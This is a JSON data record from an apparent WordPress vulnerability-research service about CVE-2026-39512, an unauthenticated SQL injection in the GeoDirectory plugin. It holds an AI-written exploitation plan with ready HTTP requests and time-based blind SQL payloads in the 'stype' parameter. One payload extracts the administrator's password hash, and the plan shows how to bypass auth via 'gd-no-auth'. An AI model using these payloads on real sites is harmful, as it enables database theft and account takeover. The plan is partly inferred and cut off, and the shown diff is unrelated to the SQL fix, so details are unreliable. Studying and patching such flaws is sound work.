[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSfrTC_-oPGQjENeymQR6zuC214KKDq_Q0yieydv_Xdo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39512","geodirectory-wp-business-directory-plugin-and-classified-listings-directory-unauthenticated-sql-injection-2","GeoDirectory – WP Business Directory Plugin and Classified Listings Directory \u003C= 2.8.152 - Unauthenticated SQL Injection","The GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.8.152 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","geodirectory",null,"\u003C=2.8.152","2.8.154","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-13 00:00:00","2026-04-21 15:05:32",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa83e7d8b-a93a-4347-bb59-de1e2fd954a5?source=api-prod",9,[22,23,24,25,26,27,28,29],"assets\u002Fjs\u002Fcustom_fields.js","assets\u002Fjs\u002Fcustom_fields.min.js","geodirectory.php","includes\u002Fadmin\u002Fviews\u002Fhtml-admin-settings-cpt-cf-setting-item.php","includes\u002Fclass-geodir-fast-ajax.php","includes\u002Fclass-geodir-query.php","includes\u002Fcustom-fields\u002Finput-functions-aui.php","includes\u002Fwidgets\u002Fclass-geodir-widget-simple-archive-item.php","researched",false,3,"This plan details the process for exploiting a confirmed SQL injection vulnerability in the **GeoDirectory** plugin (versions \u003C= 2.8.152).\n\n### 1. Vulnerability Summary\nThe GeoDirectory plugin is vulnerable to an unauthenticated SQL injection. The flaw exists due to the \"Fast AJAX\" implementation and the way search\u002Flisting parameters are handled. The plugin provides a specialized AJAX dispatcher that allows certain actions to be executed with minimal WordPress overhead (bypassing full authentication\u002Finitialization). Input parameters like `stype` (Search Type) or `gd_sort` are used to dynamically build SQL queries without sufficient sanitization or the use of `wpdb->prepare()`.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** The site root `\u002F?gd-ajax=1` or the AJAX endpoint `\u002Fwp-admin\u002Fadmin-ajax.php`.\n*   **Vulnerable Action:** `geodir_ajax_search` (Unauthenticated) or `geodir_get_listings`.\n*   **Fast AJAX Bypass:** By including `gd-no-auth=1` in the request, the plugin executes the `do_gd_ajax` method early in the `plugins_loaded` hook, bypassing many standard WordPress security filters.\n*   **Vulnerable Parameter:** `stype` (Search Type) or `gd_sort`.\n*   **Authentication:** None required (Unauthenticated).\n*   **Preconditions:** The GeoDirectory plugin must be active. A default custom post type (usually `gd_place`) is typically present.\n\n### 3. Code Flow\n1.  **Entry Point:** `includes\u002Fclass-geodir-fast-ajax.php` -> `init()`.\n2.  The code checks for `$_REQUEST['gd-ajax']` and `$_REQUEST['gd-no-auth']`.\n3.  **Dispatcher:** If both are set, it registers `do_gd_ajax()` to the `plugins_loaded` hook.\n4.  **Action Trigger:** `do_gd_ajax()` retrieves `$_REQUEST['action']` and fires `do_action( 'geodir_ajax_' . $action )`.\n5.  **Sink:** The handler for `geodir_ajax_search` (inferred) processes the `stype` parameter.\n6.  **SQL Execution:** `stype` is passed to `geodir_get_current_posttype()` and subsequently used to build queries (e.g., in `includes\u002Fclass-geodir-query.php`) that query specific custom tables (e.g., `wp_geodir_gd_place_detail`) without `prepare()`.\n\n### 4. Nonce Acquisition Strategy\nWhile many search actions in GeoDirectory are public, some may require a search nonce.\n1.  **Identify Shortcode:** The plugin uses the `[gd_search]` shortcode to render search bars.\n2.  **Setup Page:** Create a page containing this shortcode to ensure all GeoDirectory scripts and nonces are loaded.\n3.  **Extraction:**\n    - Navigate to the created page.\n    - Use `browser_eval` to extract the nonce from the `geodir_params` object:\n      `browser_eval(\"window.geodir_params?.nonce\")`\n4.  **Note:** If the Fast AJAX `gd-no-auth` mechanism is used, the handler might bypass nonce verification entirely.\n\n### 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload targeting the `stype` parameter.\n\n**Step 1: Baseline Request**\nConfirm the endpoint is responsive.\n*   **URL:** `\u002F?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place`\n*   **Method:** GET (or POST)\n\n**Step 2: Trigger Sleep (Injection)**\nInject a `SLEEP()` command into the `stype` parameter.\n*   **Payload:** `gd_place' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1`\n*   **Request:**\n    ```http\n    GET \u002F?gd-ajax=1&gd-no-auth=1&action=geodir_ajax_search&stype=gd_place%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%20AND%20%271%27%3D%271 HTTP\u002F1.1\n    Host: localhost\n    ```\n\n**Step 3: Data Extraction (Boolean-based or Time-based)**\nTo extract the admin's password hash:\n*   **Payload:** `gd_place' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0) AND '1'='1`\n*   (ASCII 36 is `$`, which is the start of WordPress phpass hashes).\n\n### 6. Test Data Setup\n1.  **Activate Plugin:** Ensure `geod","The GeoDirectory plugin for WordPress is vulnerable to unauthenticated SQL injection via its 'Fast AJAX' dispatcher. The plugin allows certain actions to be executed early in the WordPress lifecycle by passing specific parameters, and it fails to properly sanitize or prepare SQL queries that incorporate user-controlled input such as 'stype' and 'gd_sort'.","\u002F\u002F includes\u002Fclass-geodir-fast-ajax.php line 24\nif ( ! empty( $_REQUEST['gd-ajax'] ) ) {\n    self::define_ajax();\n\n    add_filter( 'option_active_plugins', array( __CLASS__, 'allowed_plugins' ), 11, 1 );\n\n    if ( ! empty( $_REQUEST['gd-no-auth'] ) ) {\n        \u002F\u002F Don't needs authentication (faster).\n        add_action( 'plugins_loaded', array( __CLASS__, 'do_gd_ajax' ), 999 );\n    } else {\n        \u002F\u002F Needs authentication.\n        add_action( 'init', array( __CLASS__, 'do_gd_ajax' ), 999 );\n    }\n}\n\n---\n\n\u002F\u002F includes\u002Fclass-geodir-fast-ajax.php line 66\npublic static function do_gd_ajax() {\n    $action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) : '';\n\n    if ( $action ) {\n        self::gd_ajax_headers();\n        do_action( 'geodir_ajax_' . $action );\n        wp_die();\n    }\n\n---\n\n\u002F\u002F includes\u002Fclass-geodir-query.php line 116\npublic function set_globals( $q ){\n    global $wp_query, $geodir_post_type;\n\n    if ( empty( $wp_query ) ) {\n        $wp_query = $q;\n    }\n\n    $geodir_post_type = geodir_get_current_posttype();\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeodirectory\u002F2.8.152\u002Fassets\u002Fjs\u002Fcustom_fields.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeodirectory\u002F2.8.154\u002Fassets\u002Fjs\u002Fcustom_fields.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeodirectory\u002F2.8.152\u002Fassets\u002Fjs\u002Fcustom_fields.js\t2026-01-29 15:02:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgeodirectory\u002F2.8.154\u002Fassets\u002Fjs\u002Fcustom_fields.js\t2026-03-10 15:12:48.000000000 +0000\n@@ -511,6 +511,9 @@\n     \u002F\u002F $settings = jQuery($this).parent().find('.dd-setting').first().clone();\n     $settings = jQuery($this).parent().find('.dd-setting').first().html();\n     $settings = jQuery('\u003Cdiv class=\"dd-setting\">' + $settings + '\u003C\u002Fdiv>');\n+    if (jQuery($this).parent().data('htmlvar_name')) {\n+        jQuery($settings).attr('data-field', jQuery($this).parent().data('htmlvar_name'));\n+    }\n     $settings.removeClass('d-none');\n     $id = $settings.find('[name=\"id\"]').val();\n     $type = $settings.find('[name=\"tab_type\"]').val();","The exploit targets the 'Fast AJAX' mechanism which can be triggered unauthenticated by sending a request to the root directory with the parameters 'gd-ajax=1' and 'gd-no-auth=1'. The 'action' parameter is set to a vulnerable handler like 'geodir_ajax_search'. An attacker then provides a time-based SQL injection payload in the 'stype' or 'gd_sort' parameters. Because these parameters are directly incorporated into SQL queries (e.g., used to identify custom tables like 'wp_geodir_gd_place_detail') without being passed through 'wpdb->prepare()', the malicious SQL executes, allowing for blind data extraction from the database.","gemini-3-flash-preview","2026-04-27 14:54:38","2026-04-27 14:55:35",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.8.152","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeodirectory\u002Ftags\u002F2.8.152","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeodirectory.2.8.152.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeodirectory\u002Ftags\u002F2.8.154","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeodirectory.2.8.154.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeodirectory\u002Ftags"]